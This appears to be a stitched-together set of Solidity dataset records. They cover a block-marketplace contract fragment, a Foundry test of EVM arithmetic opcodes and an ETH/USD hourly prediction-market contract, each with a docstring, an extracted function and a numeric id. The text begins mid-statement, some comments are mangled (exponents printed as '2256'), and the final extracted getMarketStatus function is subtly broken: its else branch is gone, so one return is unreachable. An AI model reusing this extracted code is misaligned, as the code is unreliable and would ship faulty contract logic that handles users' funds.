? rewardBlock(n, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); ne != address(0) ? rewardBlock(ne, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); w != address(0) ? rewardBlock(w, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); e != address(0) ? rewardBlock(e, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); sw != address(0) ? rewardBlock(sw, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); south != address(0) ? rewardBlock(south, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); se != address(0) ? rewardBlock(se, rewardAmount) : rewardBlock(bonusAddress, rewardAmount); } function rewardBlock(address account, uint reward) internal { uint balance = s.getUInt(keccak256(account, "balance")); balance += reward; s.setUInt(keccak256(account, "balance"), balance); SentAmountToNeighbours(reward,account); } // contract commissions function rewardContract (uint fee) internal { uint mainBalance = s.getUInt(keccak256(mainAddress, "balance")); mainBalance += fee; s.setUInt(keccak256(mainAddress, "balance"), mainBalance); SentFeeToPlatform(fee); } // reward the previous owner of the block or the contract if the block is bought for the first time function rewardPreviousOwner (uint x, uint y, uint amount) internal { uint rewardBalance; bytes32 key = getKey(x, y); address owner = s.getAdd(keccak256(key, "owner")); if (owner == address(0)) { rewardBalance = s.getUInt(keccak256(mainAddress, "balance")); rewardBalance += amount; s.setUInt(keccak256(mainAddress, "balance"), rewardBalance); SentAmountToOwner(amount, mainAddress); } else { rewardBalance = s.getUInt(keccak256(owner, "balance")); rewardBalance += amount; s.setUInt(keccak256(owner, "balance"), rewardBalance); SentAmountToOwner(amount, owner); } } } contract BLBlocks is BLBalances { event CreatedBlock( uint x, uint y, uint price, address indexed owner, bytes32 name, bytes32 description, bytes32 url, bytes32 imageURL); event SetBlockForSale( uint x, uint y, uint price, address indexed owner); event UnsetBlockForSale( uint x, uint y, address indexed owner); event BoughtBlock( uint x, uint y, uint price, address indexed owner, bytes32 name, bytes32 description, bytes32 url, bytes32 imageURL); event SoldBlock( uint x, uint y, uint oldPrice, uint newPrice, uint feePercentage, address indexed owner); event UpdatedBlock(uint x, uint y, bytes32 name, bytes32 description, bytes32 url, bytes32 imageURL, address indexed owner); // Create a block if it doesn't exist function createBlock( uint x, uint y, bytes32 name, bytes32 description, bytes32 url, bytes32 imageURL ) public payable { bytes32 key = getKey(x, y); uint initialPrice = s.getUInt("initialPrice"); address owner = s.getAdd(keccak256(key, "owner")); uint allowance = s.getUInt(keccak256(msg.sender, "promoAllowance")); require(msg.value >= initialPrice || allowance > 0); require(owner == address(0)); uint feePercentage = s.getUInt("buyOutFeePercentage"); if (msg.value >= initialPrice) { rewardParties(x, y, feePercentage); s.setUInt(keccak256(key, "price"), msg.value); } else { allowance--; s.setUInt(keccak256(msg.sender, "promoAllowance"), allowance); s.setUInt(keccak256(key, "price"), initialPrice); } s.setBytes32(keccak256(key, "name"), name); s.setBytes32(keccak256(key, "description"), description); s.setBytes32(keccak256(key, "url"), url); s.setBytes32(keccak256(key, "imageURL"), imageURL); s.setAdd(keccak256(key, "owner"), msg.sender); uint blockCount = s.getUInt("blockCount"); giveBonusIfExists(x, y); blockCount++; s.setUInt("blockCount", blockCount); storageAddress.transfer(msg.value); CreatedBlock(x, y, msg.value, msg.sender, name, description, url, imageURL); } // Get details for a block function getBlock (uint x, uint y) public view returns ( uint price, bytes32 name, bytes32 description, bytes32 url, bytes32 imageURL, uint forSale, uint pricePerDay, address owner ) { bytes32 key = getKey(x, y); price = s.getUInt(keccak256(key, "price")); name = s.getBytes32(keccak256(key, "name")); description = s.getBytes32(keccak256(key, "description")); url = s.getBytes32(keccak256(key, "url")); imageURL = s.getBytes32(keccak256(key, "imageURL")); forSale = s.getUInt(keccak256(key, "forSale")); pricePerDay = s.getUInt(keccak256(key, "pricePerDay")); owner = s.getAdd(keccak256(key, "owner")); } // Sets a block up for sale function sellBlock(uint x, uint y, uint price) public { bytes32 key = getKey(x, y); uint basePrice = s.getUInt(keccak256(key, "price")); require(s.getAdd(keccak256(key, "owner")) == msg.sender); require(price < basePrice * 2); s.setUInt(keccak256(key, "forSale"), price); SetBlockForSale(x, y, price, msg.sender); } // Sets a block not for sale function cancelSellBlock(uint x, uint y) public { bytes32 key = getKey(x, y); require(s.getAdd(keccak256(key, "owner")) == msg.sender); s.setUInt(keccak256(key, "forSale"), 0); UnsetBlockForSale(x, y, msg.sender); } // transfers ownership of an existing block function buyBlock( uint x, uint y, bytes32 name, bytes32 description, bytes32 url, bytes32 imageURL ) public payable { bytes32 key = getKey(x, y); uint price = s.getUInt(keccak256(key, "price")); uint forSale = s.getUInt(keccak256(key, "forSale")); address owner = s.getAdd(keccak256(key, "owner")); require(owner != address(0)); require((forSale > 0 && msg.value >= forSale) || msg.value >= price * 2); uint feePercentage = s.getUInt("buyOutFeePercentage"); rewardParties(x, y, feePercentage); s.setUInt(keccak256(key, "price"), msg.value); s.setBytes32(keccak256(key, "name"), name); s.setBytes32(keccak256(key, "description"), description); s.setBytes32(keccak256(key, "url"), url); s.setBytes32(keccak256(key, "imageURL"), imageURL); s.setAdd(keccak256(key, "owner"), msg.sender); s.setUInt(keccak256(key, "forSale"), 0); s.setUInt(keccak256(key, "pricePerDay"), 0); giveBonusIfExists(x, y); storageAddress.transfer(msg.value); BoughtBlock(x, y, msg.value, msg.sender, name, description, url, imageURL); SoldBlock(x, y, price, msg.value, feePercentage, owner); } // update details for an existing block function updateBlock( uint x, uint y, bytes32 name, bytes32 description, bytes32 url, bytes32 imageURL ) public { bytes32 key = getKey(x, y); address owner = s.getAdd(keccak256(key, "owner")); require(msg.sender == owner); s.setBytes32(keccak256(key, "name"), name); s.setBytes32(keccak256(key, "description"), description); s.setBytes32(keccak256(key, "url"), url); s.setBytes32(keccak256(key, "imageURL"), imageURL); UpdatedBlock(x, y, name, description, url, imageURL, msg.sender); } // Add a bonus to a block. That bonus will be awarded to the next buyer. // Note, we are not emitting an event to avoid cheating. function addBonusToBlock( uint x, uint y, uint bonus ) public onlyPrimary { bytes32 key = getKey(x, y); uint bonusBalance = s.getUInt(keccak256(bonusAddress, "balance")); require(bonusBalance >= bonus); s.setUInt(keccak256(key, "bonus"), bonus); } } /* Main Blocklord contract. It exposes some commodity functions and functions from its subcontracts. */ contract BLMain is BLBlocks { event ChangedInitialPrice(uint price); event ChangedFeePercentage(uint fee); // provides the total number of purchased blocks function totalSupply() public view returns (uint count) { count = s.getUInt("blockCount"); return count; } // allows to change the price of an empty block function setInitialPrice(uint price) public onlyPrimary { s.setUInt("initialPrice", price); ChangedInitialPrice(price); } // allows to change the platform fee percentage function setFeePercentage(uint feePercentage) public onlyPrimary { s.setUInt("buyOutFeePercentage", feePercentage); ChangedFeePercentage(feePercentage); } // provides the starting price for an empty block function getInitialPrice() public view returns (uint) { return s.getUInt("initialPrice"); } // provides the price of an empty block function getFeePercentage() public view returns (uint) { return s.getUInt("buyOutFeePercentage"); } }
allow a block allowance for promo and early beta users
function grantAllowance(address beneficiary, uint allowance) public onlyPrimary { uint existingAllowance = s.getUInt(keccak256(beneficiary, "promoAllowance")); existingAllowance += allowance; s.setUInt(keccak256(beneficiary, "promoAllowance"), existingAllowance); AllowanceGranted(beneficiary, allowance); }
15,805,271
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "forge-std/Test.sol"; import { EVM } from "../EVM.sol"; contract EVMTest is Test { EVM evm; function setUp() public { evm = new EVM(); } // 01 GAS 3: add(uint256, uint256) function testAdd() public { assertEq(evm.add(1, 2), 3); // overflows on 2**256 assertEq(evm.add(1, (2**256 - 1)), 0); // same as above assertEq( evm.add( 1, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ), 0 ); } // 02 GAS 5: mul(uint256, uint256) function testMul() public { assertEq(evm.mul(1, 2), 2); // overflows on 2**256 assertEq(evm.mul(2, (2**256 - 1)), (2**256 - 2)); // same as above assertEq( evm.mul( 2, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE ); } // 03 GAS 3: sub(uint256, uint256) function testSub() public { assertEq(evm.sub(10, 10), 0); // underflow on 2**256 assertEq(evm.sub(0, 1), (2**256 - 1)); // same as above assertEq( evm.sub(0, 1), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ); } // 04 GAS 3: div(uint256, uint256) function testDiv() public { assertEq(evm.div(10, 10), 1); // underflow on 2**256 - if the denominator is 0, resuit=0. assertEq(evm.div(1, 2), 0); // underflow on 2**256 assertEq(evm.div((2**256 - 2), (2**256 - 1)), 0); // same as above assertEq( evm.div( 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ), 0 ); } // 05 GAS 5: sdiv(uint256, uint256) function testSdiv() public { assertEq(evm.sdiv(10, 10), 1); // underflow on 2**256 - if the denominator is 0, resuit=0. assertEq(evm.sdiv(1, 2), 0); // overflows on -2**255 assertEq(evm.sdiv((2**256 - 2), (2**256 - 1)), 2); // same as above assertEq( evm.sdiv( 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ), 2 ); } // 06 GAS 5: mod(uint256, uint256) function testMod() public { assertEq(evm.mod(10, 3), 1); // underflow on 2**256 assertEq(evm.mod(17, 5), 2); } // 07 GAS 5: smod(uint256, uint256) function testSmod() public { assertEq(evm.smod(10, 3), 1); // underflow on 2**256 assertEq(evm.smod(17, 5), 2); // underflows on -2**255 assertEq( evm.smod((2**256 - 6), (2**256 - 4)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE ); assertEq( evm.smod( 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD ), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE ); } // 08 GAS 8: addMod(uint256, uint256, uint256) function testAddMod() public { assertEq(evm.addMod(10, 10, 8), 4); assertEq( evm.addMod( 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, 2, 2 ), 1 ); } // 09 GAS 8: mulMod(uint256, uint256, uint256) function testMulMod() public { assertEq(evm.mulMod(10, 10, 8), 4); assertEq( evm.mulMod( 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, 12 ), 9 ); } // 0A GAS 10: exp(uint256, uint256) function testExp() public { assertEq(evm.exp(10, 2), 100); assertEq(evm.exp(2, 2), 4); } // 0B GAS 5: mulMod(uint256, uint256, uint256) function testSignExtend() public { assertEq( evm.signExtend(0, 0xFF), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ); assertEq(evm.signExtend(0, 0x7F), 0x7F); } // 10 GAS 3: lt(uint256, uint256) function testLt() public { assertEq(evm.lt(9, 10), 1); assertEq(evm.lt(10, 10), 0); } // 11 GAS 3: gt(uint256, uint256) function testGt() public { assertEq(evm.gt(10, 9), 1); assertEq(evm.gt(10, 10), 0); } // 12 GAS 3: slt(uint256, uint256) function testSlt() public { assertEq( evm.slt( 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, 0 ), 1 ); assertEq(evm.slt(10, 10), 0); } // 13 GAS 3: sgt(uint256, uint256) function testSgt() public { assertEq( evm.sgt( 0, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ), 1 ); assertEq(evm.sgt(10, 10), 0); } }
05 GAS 5: sdiv(uint256, uint256) underflow on 2256 - if the denominator is 0, resuit=0. overflows on -2255 same as above
function testSdiv() public { assertEq(evm.sdiv(10, 10), 1); assertEq(evm.sdiv(1, 2), 0); assertEq(evm.sdiv((2**256 - 2), (2**256 - 1)), 2); assertEq( evm.sdiv( 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ), 2 ); }
14,036,114
// SPDX-License-Identifier: MIT pragma solidity ^0.7.3; /// @title Predicty McPredictionFace /// @author knnlrts 2020 /// @notice Predicty McPredictionFace is a Solidity smart contract implementation of a prediction market that allows crypto and defi enthousiasts alike to predict the future USD value of ETH on an hourly time frame. This is a final project submission for the ConsenSys Blockchain Developer Online Bootcamp (2020 edition). import "./external/SafeMath.sol"; import "./interfaces/AggregatorV3Interface.sol"; contract Predicty { using SafeMath for *; enum Option { Bullish, Neutral, Bearish } enum MarketStatus { Live, InSettlement, Settled } struct Market { MarketStatus state; uint startTime; uint expireTime; uint neutralMinValue; uint neutralMaxValue; Option winningOption; uint settleTime; mapping(address => User) users; mapping(Option => uint) totalBets; uint totalPool; } struct User { bool claimedWinnings; mapping(Option => uint) amountStaked; bool claimedCreationReward; uint creationReward; bool claimedSettlementReward; uint settlementReward; } address payable public owner; address public oracle; AggregatorV3Interface internal priceFeed; bool public marketCreationPaused; uint constant commissionPercentage = 10; uint constant optionRangePercentage = 40; uint public commissionAmount; uint public marketCount; uint public marketDuration; mapping(uint => Market) public markets; event LogNewMarketCreated(uint indexed marketId, uint price); event LogBetPlaced(uint indexed marketId, address indexed user, Option option, uint value); event LogWinningsClaimed(uint indexed marketId, address indexed user, uint winnings); event LogResultPosted(uint indexed marketId, address indexed oracle, Option option); event LogCreationRewardClaimed(uint indexed marketId, address indexed user, uint creationReward); event LogSettlementRewardClaimed(uint indexed marketId, address indexed user, uint settlementReward); /** * @dev Modifier that only allows the authorized owner addresses to execute the function. */ modifier onlyOwner() { require(msg.sender == owner, "=== Only the owner address can call this function ==="); _; } /** * @dev Modifier that only allows a prediction market in the Live state to execute the function. * @param _marketId The id of the prediction market instance on which this modifier is called. */ modifier onlyLive(uint _marketId) { require(getMarketStatus(_marketId) == MarketStatus.Live, "=== The prediction market must be live to call this function ==="); _; } /** * @dev Modifier that only allows a prediction market in the InSettlement state to execute the function. * @param _marketId The id of the prediction market instance on which this modifier is called. */ modifier onlyInSettlement(uint _marketId) { require(getMarketStatus(_marketId) == MarketStatus.InSettlement, "=== The prediction market must be in settlement to call this function ==="); require(block.timestamp > getMarketSettleTime(_marketId), "=== The prediction market cannot be settled yet :( ==="); _; } /** * @dev Modifier that only allows a prediction market in the Settled state to execute the function. * @param _marketId The id of the prediction market instance on which this modifier is called. */ modifier onlySettled(uint _marketId) { require(getMarketStatus(_marketId) == MarketStatus.Settled, "=== The prediction market must be settled to execute this function ==="); _; } /** * @dev Deploys the smart contract and fires up the first prediction market. * @param _oracle Sets the address of the oracle used used as pricefeed. Rinkeby ETH/USD price oracle = 0x8A753747A1Fa494EC906cE90E9f37563A8AF630e. * @param _duration Sets the duration of the prediction market cycles, i.e. duration = 1 hours will make sure that all prediction markets started by this smart contract will be Live for 1 hour and subsequently be InSetllement for 1 hour. */ constructor(address _oracle, uint _duration) { oracle = _oracle; priceFeed = AggregatorV3Interface(oracle); owner = msg.sender; marketDuration = _duration; marketCount = 0; uint _price = getLatestPrice(); //returns latest ETH/USD in the following format: 40345000000 (8 decimals) Market storage newMarket = markets[marketCount]; newMarket.state = MarketStatus.Live; newMarket.startTime = (block.timestamp.div(3600)).mul(3600); newMarket.expireTime = newMarket.startTime.add(marketDuration); newMarket.neutralMinValue = _price.sub(_calculatePercentage(optionRangePercentage, _price, 10000)); newMarket.neutralMaxValue = _price.add(_calculatePercentage(optionRangePercentage, _price, 10000)); newMarket.settleTime = newMarket.startTime.add(marketDuration.mul(2)); emit LogNewMarketCreated(marketCount, _price); } /** * @dev Places a bet amount on a specific bet option in the prediction market that is currently Live. * @param _option The specific bet option for which this function is called, i.e. Bullish, Neutral, or Bearish. */ function placeBet(Option _option) external payable onlyLive(marketCount) { Market storage m = markets[marketCount]; require(msg.value > 0,"=== Your bet should be greater than 0 ==="); uint _predictionStake = msg.value; uint _commissionStake = _calculatePercentage(commissionPercentage, _predictionStake, 1000); commissionAmount = commissionAmount.add(_commissionStake); _predictionStake = _predictionStake.sub(_commissionStake); m.totalBets[_option] = m.totalBets[_option].add(_predictionStake); m.users[msg.sender].amountStaked[_option] = m.users[msg.sender].amountStaked[_option].add(_predictionStake); m.totalPool = m.totalPool.add(_predictionStake); emit LogBetPlaced(marketCount, msg.sender, _option, _predictionStake); } /** * @dev Settles the prediction market that is currently InSettlement, by calling the configured pricefeed oracle and incentivising the user address address for calling this function. */ function settleMarket() external onlyInSettlement(marketCount) { Market storage m = markets[marketCount]; (uint _price, ) = getSettlementPrice(m.settleTime); if(_price < m.neutralMinValue) { m.winningOption = Option.Bearish; } else if(_price > m.neutralMaxValue) { m.winningOption = Option.Bullish; } else { m.winningOption = Option.Neutral; } uint reward = _calculatePercentage(commissionPercentage, commissionAmount, 100); m.users[msg.sender].settlementReward = m.users[msg.sender].settlementReward.add(reward); commissionAmount = commissionAmount.sub(reward); emit LogResultPosted(marketCount, msg.sender, m.winningOption); m.state = MarketStatus.Settled; } /** * @dev Creates a new prediction market (after the previous one was settled), by calling the configured pricefeed oracle and incentivising the user address address for calling this function. * @return success Returns whether the market creation was successful. */ function createNewMarket() public onlySettled(marketCount) returns(bool success) { require(!marketCreationPaused, "=== The owner has paused market creation ==="); marketCount = marketCount.add(1); uint _price = getLatestPrice(); //returns latest ETH/USD in the following format: 40345000000 (8 decimals) Market storage newMarket = markets[marketCount]; newMarket.state = MarketStatus.Live; newMarket.startTime = (block.timestamp.div(3600)).mul(3600); newMarket.expireTime = newMarket.startTime.add(marketDuration); newMarket.neutralMinValue = _price.sub(_calculatePercentage(optionRangePercentage, _price, 10000)); newMarket.neutralMaxValue = _price.add(_calculatePercentage(optionRangePercentage, _price, 10000)); newMarket.settleTime = newMarket.startTime.add(marketDuration.mul(2)); uint reward = _calculatePercentage(commissionPercentage, commissionAmount, 100); newMarket.users[msg.sender].creationReward = newMarket.users[msg.sender].creationReward.add(reward); commissionAmount = commissionAmount.sub(reward); emit LogNewMarketCreated(marketCount, _price); return true; } /** * @dev Calculates the winnings for a specific user in the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _user The specific user address for which this function is called. * @return winnings Returns the total amount that has been won by a specific user address in the prediction market. */ function calculateWinnings(uint _marketId, address _user) public view returns(uint winnings) { Market storage m = markets[_marketId]; uint winningBet = m.users[_user].amountStaked[m.winningOption]; uint winningTotal = m.totalBets[m.winningOption]; uint loserPool = m.totalPool.sub(winningTotal); winnings = loserPool.mul(winningBet).div(winningTotal); winnings = winnings.add(winningBet); return winnings; } /** * @dev Allows the calling user address to withdraw his/her winnings in the prediction market, after settlement. * @param _marketId The id of the prediction market instance on which this function is called. */ function withdrawWinnings(uint _marketId) external onlySettled(_marketId) { Market storage m = markets[_marketId]; require(m.users[msg.sender].claimedWinnings == false, "=== You already claimed your winnings for this market :( ==="); uint winningBet = m.users[msg.sender].amountStaked[m.winningOption]; require(winningBet > 0, "=== You have no bets on the winning option :( ==="); uint winnings = calculateWinnings(_marketId, msg.sender); m.users[msg.sender].claimedWinnings = true; msg.sender.transfer(winnings); emit LogWinningsClaimed(_marketId, msg.sender, winnings); } /** * @dev Allows the calling user address to withdraw his/her creation reward in the prediction market, after settlement. * @param _marketId The id of the prediction market instance on which this function is called. */ function withdrawCreationReward(uint _marketId) external onlySettled(_marketId) { Market storage m = markets[_marketId]; require(m.users[msg.sender].creationReward > 0, "=== You did not create this market ==="); require(m.users[msg.sender].claimedCreationReward == false, "=== You already claimed your creation reward for this market :( ==="); m.users[msg.sender].claimedCreationReward = true; msg.sender.transfer(m.users[msg.sender].creationReward); emit LogCreationRewardClaimed(_marketId, msg.sender, m.users[msg.sender].creationReward); } /** * @dev Allows the calling user address to withdraw his/her settlement reward in the prediction market, after settlement. * @param _marketId The id of the prediction market instance on which this function is called. */ function withdrawSettlementReward(uint _marketId) external onlySettled(_marketId) { Market storage m = markets[_marketId]; require(m.users[msg.sender].settlementReward > 0, "=== You did not settle this market ==="); require(m.users[msg.sender].claimedSettlementReward == false, "=== You already claimed your settlement reward for this market :( ==="); m.users[msg.sender].claimedSettlementReward = true; msg.sender.transfer(m.users[msg.sender].settlementReward); emit LogSettlementRewardClaimed(_marketId, msg.sender, m.users[msg.sender].settlementReward); } /** * @dev Gets the latest/current asset price (e.g. ETH/USD) from the configured pricefeed oracle. * @return latestPrice Returns the latest/current asset price (e.g. ETH/USD) from the configured pricefeed oracle. */ function getLatestPrice() public view returns (uint latestPrice) { (uint80 roundId, int price, uint startedAt, uint timeStamp, uint80 answeredInRound) = priceFeed.latestRoundData(); // If the round is not complete yet, timestamp is 0 require(timeStamp > 0, "Round not complete"); return uint256(price); } /** * @dev Gets the historical asset price (e.g. ETH/USD) at prediction market settlement time from the configured pricefeed oracle. * @param _settleTime The prediction market settlement timestamp, for which an historical asset price should be returned. * @return settlementPrice Returns the historical asset price (e.g. ETH/USD) at prediction market settlement time from the configured pricefeed oracle. * @return roundId Returns the matching roundId from the configured pricefeed oracle, for the historical asset price. */ function getSettlementPrice(uint _settleTime) public view returns(uint settlementPrice, uint roundId) { uint80 currentRoundId; int currentRoundPrice; uint currentRoundTimeStamp; (currentRoundId, currentRoundPrice, , currentRoundTimeStamp, ) = priceFeed.latestRoundData(); while(currentRoundTimeStamp > _settleTime) { currentRoundId--; (currentRoundId, currentRoundPrice, , currentRoundTimeStamp, ) = priceFeed.getRoundData(currentRoundId); if(currentRoundTimeStamp <= _settleTime) { break; } } return (uint(currentRoundPrice), currentRoundId); } /** * @dev Gets the status of the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @return status Returns the updated status of the prediction market. */ function getMarketStatus(uint _marketId) public view returns(MarketStatus status){ Market storage m = markets[_marketId]; if(m.state == MarketStatus.Live && block.timestamp > m.expireTime) { return MarketStatus.InSettlement; } else { return m.state; } } /** * @dev Gets the prediction market start timestamp (as seconds since unix epoch). * @param _marketId The id of the prediction market instance on which this function is called. * @return startTime Returns the start time of the prediction market. */ function getMarketStartTime(uint _marketId) public view returns(uint startTime) { Market storage m = markets[_marketId]; return m.startTime; } /** * @dev Gets the prediction market expire timestamp (as seconds since unix epoch). After the expiry of the prediction market users can no longer place bets. * @param _marketId The id of the prediction market instance on which this function is called. * @return expireTime Returns the expire time of the prediction market. */ function getMarketExpireTime(uint _marketId) public view returns(uint expireTime) { Market storage m = markets[_marketId]; return m.expireTime; } /** * @dev Gets the prediction market settlement timestamp (as seconds since unix epoch). As of the settlement timestamp, the pricefeed oracle can be called to settle the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @return settleTime Returns the settlement time of the prediction market. */ function getMarketSettleTime(uint _marketId) public view returns(uint settleTime) { Market storage m = markets[_marketId]; return m.settleTime; } /** * @dev Gets the prediction market neutral minimum price value. The neutral minimum price value forms the lower bound of the Neutral betting option. * @param _marketId The id of the prediction market instance on which this function is called. * @return minValue Returns the neutral minimum price value of the prediction market. */ function getNeutralMinValue(uint _marketId) public view returns(uint minValue) { Market storage m = markets[_marketId]; return m.neutralMinValue; } /** * @dev Gets the prediction market neutral maximum price value. The neutral maximum price value forms the upper bound of the Neutral betting option. * @param _marketId The id of the prediction market instance on which this function is called. * @return maxValue Returns the neutral maximum price value of the prediction market. */ function getNeutralMaxValue(uint _marketId) public view returns(uint maxValue) { Market storage m = markets[_marketId]; return m.neutralMaxValue; } /** * @dev Gets the winning option after prediction market settlement. * @param _marketId The id of the prediction market instance on which this function is called. * @return winner Returns the winning option, i.e. Bullish, Neutral, or Bearish. */ function getWinningOption(uint _marketId) public view returns(Option winner) { Market storage m = markets[_marketId]; return m.winningOption; } /** * @dev Gets the total amount that has been staked on all bet options together in the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @return totalPool Returns the total amount that has been staked on all bet options together in the prediction market. */ function getMarketTotalPool(uint _marketId) public view returns(uint totalPool) { Market storage m = markets[_marketId]; return m.totalPool; } /** * @dev Gets the total amount that has been staked on a specific bet option in the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _option The specific bet option for which this function is called, i.e. Bullish, Neutral, or Bearish. * @return totalBets Returns the total amount that has been staked on a specific bet option in the prediction market. */ function getMarketTotalBets(uint _marketId, Option _option) public view returns(uint totalBets) { Market storage m = markets[_marketId]; return m.totalBets[_option]; } /** * @dev Gets a boolean value returning whether a specific user address has already claimed his/her winnings in the predition market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _user The specific user address for which this function is called. * @return claimed Returns whether a specific user address has already claimed his/her winnings in the predition market. */ function getUserClaimedWinnings(uint _marketId, address _user) public view returns(bool claimed) { Market storage m = markets[_marketId]; return m.users[_user].claimedWinnings; } /** * @dev Gets the total amount that has been staked by a specific user address on a specific bet option in the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _user The specific user address for which this function is called. * @param _option The specific bet option for which this function is called, i.e. Bullish, Neutral, or Bearish. * @return amountStaked Returns the total amount that has been staked by a specific user address on a specific bet option in the prediction market. */ function getUserAmountStaked(uint _marketId, address _user, Option _option) public view returns(uint amountStaked) { Market storage m = markets[_marketId]; return m.users[_user].amountStaked[_option]; } /** * @dev Gets a boolean value returning whether a specific user address has already claimed his/her reward for creating the predition market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _user The specific user address for which this function is called. * @return claimed Returns whether a specific user address has already claimed his/her reward for creating the predition market. */ function getUserClaimedCreationReward(uint _marketId, address _user) public view returns(bool claimed) { Market storage m = markets[_marketId]; return m.users[_user].claimedCreationReward; } /** * @dev Gets the reward amount that has been awarded to a specific user address for creating the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _user The specific user address for which this function is called. * @return reward Returns the reward amount that has been awarded to a specific user address for creating the prediction market. */ function getUserCreationReward(uint _marketId, address _user) public view returns(uint reward) { Market storage m = markets[_marketId]; return m.users[_user].creationReward; } /** * @dev Gets a boolean value returning whether a specific user address has already claimed his/her reward for settling the predition market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _user The specific user address for which this function is called. * @return claimed Returns whether a specific user address has already claimed his/her reward for settling the predition market. */ function getUserClaimedSettlementReward(uint _marketId, address _user) public view returns(bool claimed) { Market storage m = markets[_marketId]; return m.users[_user].claimedSettlementReward; } /** * @dev Gets the reward amount that has been awarded to a specific user address for settling the prediction market. * @param _marketId The id of the prediction market instance on which this function is called. * @param _user The specific user address for which this function is called. * @return reward Returns the reward amount that has been awarded to a specific user address for settling the prediction market. */ function getUserSettlementReward(uint _marketId, address _user) public view returns(uint reward) { Market storage m = markets[_marketId]; return m.users[_user].settlementReward; } /** * @dev Gets the current balance of the smart contract. * @return balance Returns the current balance of the smart contract. */ function getContractBalance() public view returns(uint balance) { return address(this).balance; } /** * @dev Helper function to get the percentage value for a given input value. * @param _percent The percentage value. * @param _value The input value. * @param _divisor The divisor value. * @return The percentage value for a given input value. */ function _calculatePercentage(uint256 _percent, uint256 _value, uint256 _divisor) internal pure returns(uint256) { return _percent.mul(_value).div(_divisor); } /** * @dev Updates the address of the pricefeed oracle (e.g. the ChainLink ETH/USD pricefeed oracle). * @param _oracle The new address of the pricefeed oracle. */ function updateOracleAddress(address _oracle) external onlyOwner { oracle = _oracle; } /** * @dev Updates the flag to pause market creation, in case of issues. */ function pauseMarketCreation() external onlyOwner { require(!marketCreationPaused); marketCreationPaused = true; } /** * @dev Updates the flag to resume market creation, when issues are solved. */ function resumeMarketCreation() external onlyOwner { require(marketCreationPaused); marketCreationPaused = false; } /** * @dev Destroys the smart contract instance and sends all remaining Ether stored in the smart contract to the owner address. */ function destroy() public onlyOwner { selfdestruct(owner); } fallback () external payable { revert("=== Please use the dedicated functions to place bets and/or transfer ether into this smart contract ==="); } receive() external payable { revert("=== Please use the dedicated functions to place bets and/or transfer ether into this smart contract ==="); } }
Gets the status of the prediction market. _marketId The id of the prediction market instance on which this function is called. return status Returns the updated status of the prediction market./
function getMarketStatus(uint _marketId) public view returns(MarketStatus status){ Market storage m = markets[_marketId]; if(m.state == MarketStatus.Live && block.timestamp > m.expireTime) { return MarketStatus.InSettlement; return m.state; } }
7,290,439
